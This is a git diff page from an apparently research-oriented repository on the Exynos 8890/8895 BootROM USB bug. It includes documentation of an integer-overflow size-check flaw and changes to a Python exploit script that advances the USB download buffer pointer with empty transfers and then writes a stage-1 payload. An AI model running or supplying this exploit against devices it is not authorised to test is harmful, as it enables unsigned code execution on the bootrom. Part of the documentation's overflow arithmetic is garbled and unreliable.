Compare commits

..

No commits in common. "e4c2b7ae02237f2b4be2c724d61b6d6c70227e1e" and "017643949871901502dc4b7c38a150c73c246e3b" have entirely different histories.

10 changed files with 18 additions and 70 deletions

1
.gitignore vendored
View File

@ -1,4 +1,3 @@
dump/ dump/
*.bin *.bin
*.a *.a
!dump/exynos-usbdl/

View File

@ -10,5 +10,3 @@ pip install -r requirements.txts
``` ```
To get to work, run `source/exploit/exploit.py` To get to work, run `source/exploit/exploit.py`
To view documentation, ensure you have sphinx installed. If not, run `sudo apt install python3-sphinx`. Then proceed to build the documentation by running `make livehtml`.

Binary file not shown.

Before

Width:  |  Height:  |  Size: 166 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 262 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 21 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 139 KiB

View File

@ -110,55 +110,19 @@ Other general device descriptors are also sent from the device to the host (to d
Data is transferred via Transfer Request Blocks (TRB), dwc3_depcmd_starttransfer is used. The TRB then contains a buffer address, where transferred data from the host is written to. The buffer allocation is done by 'usb_setup_event_buffer', which sets bufferHigh (DWC3_GEVNTADRLO), bufferLow (DWC3_GEVNTADRHI) and bufferSize (DWC3_GEVNTSIZ). Data is transferred via Transfer Request Blocks (TRB), dwc3_depcmd_starttransfer is used. The TRB then contains a buffer address, where transferred data from the host is written to. The buffer allocation is done by 'usb_setup_event_buffer', which sets bufferHigh (DWC3_GEVNTADRLO), bufferLow (DWC3_GEVNTADRHI) and bufferSize (DWC3_GEVNTSIZ).
Bug 1 (Integer overflow) Bug 1(Integer underflow)
------------------------ ------------------------
Originally described in this `blogpost <https://fredericb.info/2020/06/exynos-usbdl-unsigned-code-loader-for-exynos-bootrom.html#exynos-usbdl-unsigned-code-loader-for-exynos-bootrom>`_. Originally described in this `blogpost <https://fredericb.info/2020/06/exynos-usbdl-unsigned-code-loader-for-exynos-bootrom.html#exynos-usbdl-unsigned-code-loader-for-exynos-bootrom>`_.
The exynos bootrom uses a simple USB protocol to receive a bootloader binary from a USB host. The binary sent is called 'dldata'. In Ghidra, at 21518, we can see that it consists of unit32_t: ready?, uint32: size, ? : data, uint16: footer. The contents of this data are checked before being being written. The exynos bootrom uses a simple USB protocol to receive a bootloader binary from a USB host. The binary sent is called 'dldata'. In Ghidra, at 21518, we can see that it consists of unit32_t: ready?, uint32: size, ? : data, uint16: footer. The contents of this data are checked before being being written.
.. figure:: images/usb_setup_ready_to_0.png
The ready flag is set to 0 in the Exynos 8890 BootROM in an earlier function on pdVar1->size (pdVar1.size)
.. figure:: images/dl_data_struct.png
The dldata struct in the Exynos 8890 BootROM
.. code:: c .. code:: c
if ((pdVar1->size < 0x206ffff) && (0x206ffff < pdVar1->size + remaining)) { if ((pdVar1->size < 0x206ffff) && (0x206ffff < pdVar1->size + remaining)) {
*(undefined *)&pdVar1->ready = 2; *(undefined *)&pdVar1->ready = 2;
} }
In essence, the payload is not allowed to be larger than 0x206fff (34013183), it checks so with 2 seperate checks In essence, in the first conditions, it checks whether the size is smaller than 0x206fff (`pdVar1->size < 0x206ffff`) (34013183 in decimal), and in the second condition, it checks whether 0x206ffff is smaller than the size + remaining (`0x206ffff < pdVar1->size + remaining`). If both conditions are met, the ready flag is set to 2, and the function below to execute the *payload*, will NOT execute!
1) In the first condition, the size has to be smaller than 0x206ffff (`pdVar1->size < 0x206ffff`) (34013183 in decimal),
2) and in the second condition, it checks whether 0x206ffff is indeed still less than the size of the payload + remaining (size + remaining)(`0x206ffff < pdVar1->size + remaining`).
If both conditions are met, the payload will NOT be loaded. But this makes sense, as both checks just ensure that the payload is not larger than 0x206ffff.
The bug is however, that the check that the check is done on a uint32_t (2^32 = 4294967296), but the max value that can be checked by a uint32 is 0xFDFDE7FF = 4294967295. So a value of 0xFDFDE7FF + 1 = 0xFDFDE800 = 4294967296, which is larger than the max value of a uint32. So if a payload of this size or more is used, which is much larger than the max requested value 0x206ffff, the check will pass and the payload will still be loaded.
.. figure:: images/usb_payload_size_check.jpeg
The size check in the Exynos 8890 BootROM
Sending such large amounts of data can cause a memory overflow, and will cause the target to crash. Not interesting for exploitation in this context. However, the USB packages that are sent, are split into smaller packages with a size of 0xFFFE00.
.. figure:: images/max_allowed_chunck_size.jpeg
The max allowed chunk size, after which the payload is split.
The dl_buf pointer is set to the amount it expects to write, instead to the amount that it has written. By transferring a large amount of data, without actually writing it (so in a package, send no data, but tell the target that you're sending data with a length larger than 0xFDFDE800), will cause the pointer to move, without actually writing data.
The trick then becomes, to get the pointer to an address we would like to exploit unto. Then we have a little less than 512 bytes (502 according to dldata) to write our payload.
.. code:: c
typedef struct dldata_s {
u_int32_t ready; //start = 02021518, end = 0202151C. Length = 4
u_int32_t size; //start = 0202151C, end = 02021520. Length = 4
u_int8_t data[n]; //start = 02021520, end = 02021714. Length = 502 == MAX TRANSFER SIZE
u_int16_t footer; //start = 02021714, end = 02021716. Length = 2
} dldata;
Bug 2 Bug 2
----- -----
@ -167,6 +131,7 @@ Bug 2
Might be a 0/N-day if exploitable Might be a 0/N-day if exploitable
@ELHER @ELHER
There is a bug(unpatched?) in receiving the last packet of the usb image: There is a bug(unpatched?) in receiving the last packet of the usb image:

View File

@ -14,6 +14,7 @@ author = 'Eljakim, Jonathan'
# https://www.sphinx-doc.org/en/master/usage/configuration.html#general-configuration # https://www.sphinx-doc.org/en/master/usage/configuration.html#general-configuration
extensions = [ 'myst_parser', extensions = [ 'myst_parser',
'sphinx_rtd_theme',
'sphinx.ext.todo', 'sphinx.ext.todo',
'sphinxcontrib.confluencebuilder', 'sphinxcontrib.confluencebuilder',
"sphinxcontrib.drawio", "sphinxcontrib.drawio",

View File

@ -1,13 +1,3 @@
sphinx
sphinx-autobuild
sphinx-rtd-theme sphinx-rtd-theme
sphinxcontrib.confluencebuilder sphinxcontrib.confluencebuilder
sphinxcontrib.drawio sphinxcontrib.drawio
myst_parser
libusb1
pyusb
ghidra_bridge
tqdm
pyhidra
sphinxcontrib.confluencebuilder
sphinxcontrib.drawio

View File

@ -1,4 +1,4 @@
import usb.util, usb.core import usb.util
import struct, sys, usb1, libusb1, ctypes, usb, argparse import struct, sys, usb1, libusb1, ctypes, usb, argparse
from keystone import * from keystone import *
from capstone import * from capstone import *
@ -24,17 +24,17 @@ logger.setLevel(logging.DEBUG)
BLOCK_SIZE = 512 BLOCK_SIZE = 512
CHUNK_SIZE = 0xfffe00 CHUNK_SIZE = 0xfffe00
MAX_PAYLOAD_SIZE = (BLOCK_SIZE - 10) # 512, - 10 for ready (4), size (4), footer (2) MAX_PAYLOAD_SIZE = (BLOCK_SIZE - 10)
DL_BUFFER_START = 0x02021800 DL_BUFFER_START = 0x02021800
DL_BUFFER_SIZE = 0x4E800 #max allowed/usable size within the buffer, with end at 0x02070000 DL_BUFFER_SIZE = 0x4E800 #0x02070000 End
BOOTROM_START = 0x0 BOOTROM_START = 0x0
BOOTROM_SIZE = 0x20000 #128Kb BOOTROM_SIZE = 0x20000 #128Kb
TARGET_OFFSETS = { TARGET_OFFSETS = {
# XFER_BUFFER, RA_PTR, XFER_END_SIZE # XFER_BUFFER, RA_PTR, XFER_END_SIZE
"8890": (0x02021800, 0x02020F08, 0x02070000), #0x206ffff on exynos 8890 "8890": (0x02021800, 0x02020F08, 0x02070000),
"8895": (0x02021800, 0x02020F18, 0x02070000) "8895": (0x02021800, 0x02020F18, 0x02070000)
} }
@ -54,18 +54,18 @@ class ExynosDevice():
self.connect_device() self.connect_device()
def connect_device(self): def connect_device(self):
"""Wait for proper connection to the device"""
self.context = usb1.USBContext() self.context = usb1.USBContext()
while True: while True:
self.handle = self.context.openByVendorIDAndProductID( self.handle = self.context.openByVendorIDAndProductID(
vendor_id=self.idVendor, vendor_id=self.idVendor,
product_id=self.idProduct, product_id=self.idProduct,
skip_on_error=False skip_on_error=True
) )
if self.handle == None: if self.handle == None:
continue continue
break break
print(f"Connected device! {self.idVendor} {self.idProduct}")
print("Connected device!")
def write(self, data): def write(self, data):
transferred = ctypes.c_int() transferred = ctypes.c_int()
@ -100,7 +100,6 @@ class ExynosDevice():
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 10) res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 10)
pass pass
def test_bug(self): def test_bug(self):
# Start by sending a valid packet # Start by sending a valid packet
# Integer overflow in the size field # Integer overflow in the size field
@ -129,16 +128,14 @@ class ExynosDevice():
def exploit(self, payload: bytes): def exploit(self, payload: bytes):
''' '''
Exploit the Exynos device, payload of 502 bytes max. This will send stage1 payload. Exploit the Exynos device, payload of 502 bytes max. This will send stage1 payload
''' '''
current_offset = TARGET_OFFSETS[self.target][0] current_offset = TARGET_OFFSETS[self.target][0]
xfer_buffer_start = TARGET_OFFSETS[self.target][1] # start of USB transfer buffer
transferred = ctypes.c_int() transferred = ctypes.c_int()
size_to_overflow = 0x100000000 - current_offset + xfer_buffer_start + 8 + 6 # max_uint32 - header(8) + data(n) + footer(2) size_to_overflow = 0x100000000 - current_offset + TARGET_OFFSETS[self.target][1] + 8 + 6
#size_to_overflow = 0x100000000 - current_offset + xfer_buffer_start + 8
max_payload_size = 0x100000000 - size_to_overflow max_payload_size = 0x100000000 - size_to_overflow
ram_size = ((size_to_overflow % CHUNK_SIZE) % BLOCK_SIZE) # ram_size = ((size_to_overflow % CHUNK_SIZE) % BLOCK_SIZE)
# max_payload_size = 0xffffffff - current_offset + DL_BUFFER_SIZE + TARGET_OFFSETS[self.target][1] # max_payload_size = 0xffffffff - current_offset + DL_BUFFER_SIZE + TARGET_OFFSETS[self.target][1]
# max_payload_size = (TARGET_OFFSETS[self.target][2] - TARGET_OFFSETS[self.target][0]) - 0x200 # max_payload_size = (TARGET_OFFSETS[self.target][2] - TARGET_OFFSETS[self.target][0]) - 0x200
@ -155,7 +152,7 @@ class ExynosDevice():
cnt = 0 cnt = 0
while True: while True:
if current_offset + CHUNK_SIZE >= xfer_buffer_start and current_offset < xfer_buffer_start: if current_offset + CHUNK_SIZE >= TARGET_OFFSETS[self.target][1] and current_offset < TARGET_OFFSETS[self.target][1]:
break break
self.send_empty_transfer() self.send_empty_transfer()
current_offset += CHUNK_SIZE current_offset += CHUNK_SIZE
@ -336,17 +333,15 @@ def usb_debug():
send_data() send_data()
recv_data() recv_data()
count += 1 count += 1
pass
pass
if __name__ == "__main__": if __name__ == "__main__":
arg = argparse.ArgumentParser("Exynos exploit") arg = argparse.ArgumentParser("Exynos exploit")
arg.add_argument("--debug", action="store_true", help="Debug USB stack", default=False) arg.add_argument("--debug", action="store_true", help="Debug USB stack", default=False)
# Debug mode
args = arg.parse_args() args = arg.parse_args()
if args.debug: if args.debug:
usb_debug() usb_debug()
sys.exit(0) sys.exit(0)
exynos = ExynosDevice() exynos = ExynosDevice()
exynos.run_boot_chain() exynos.run_boot_chain()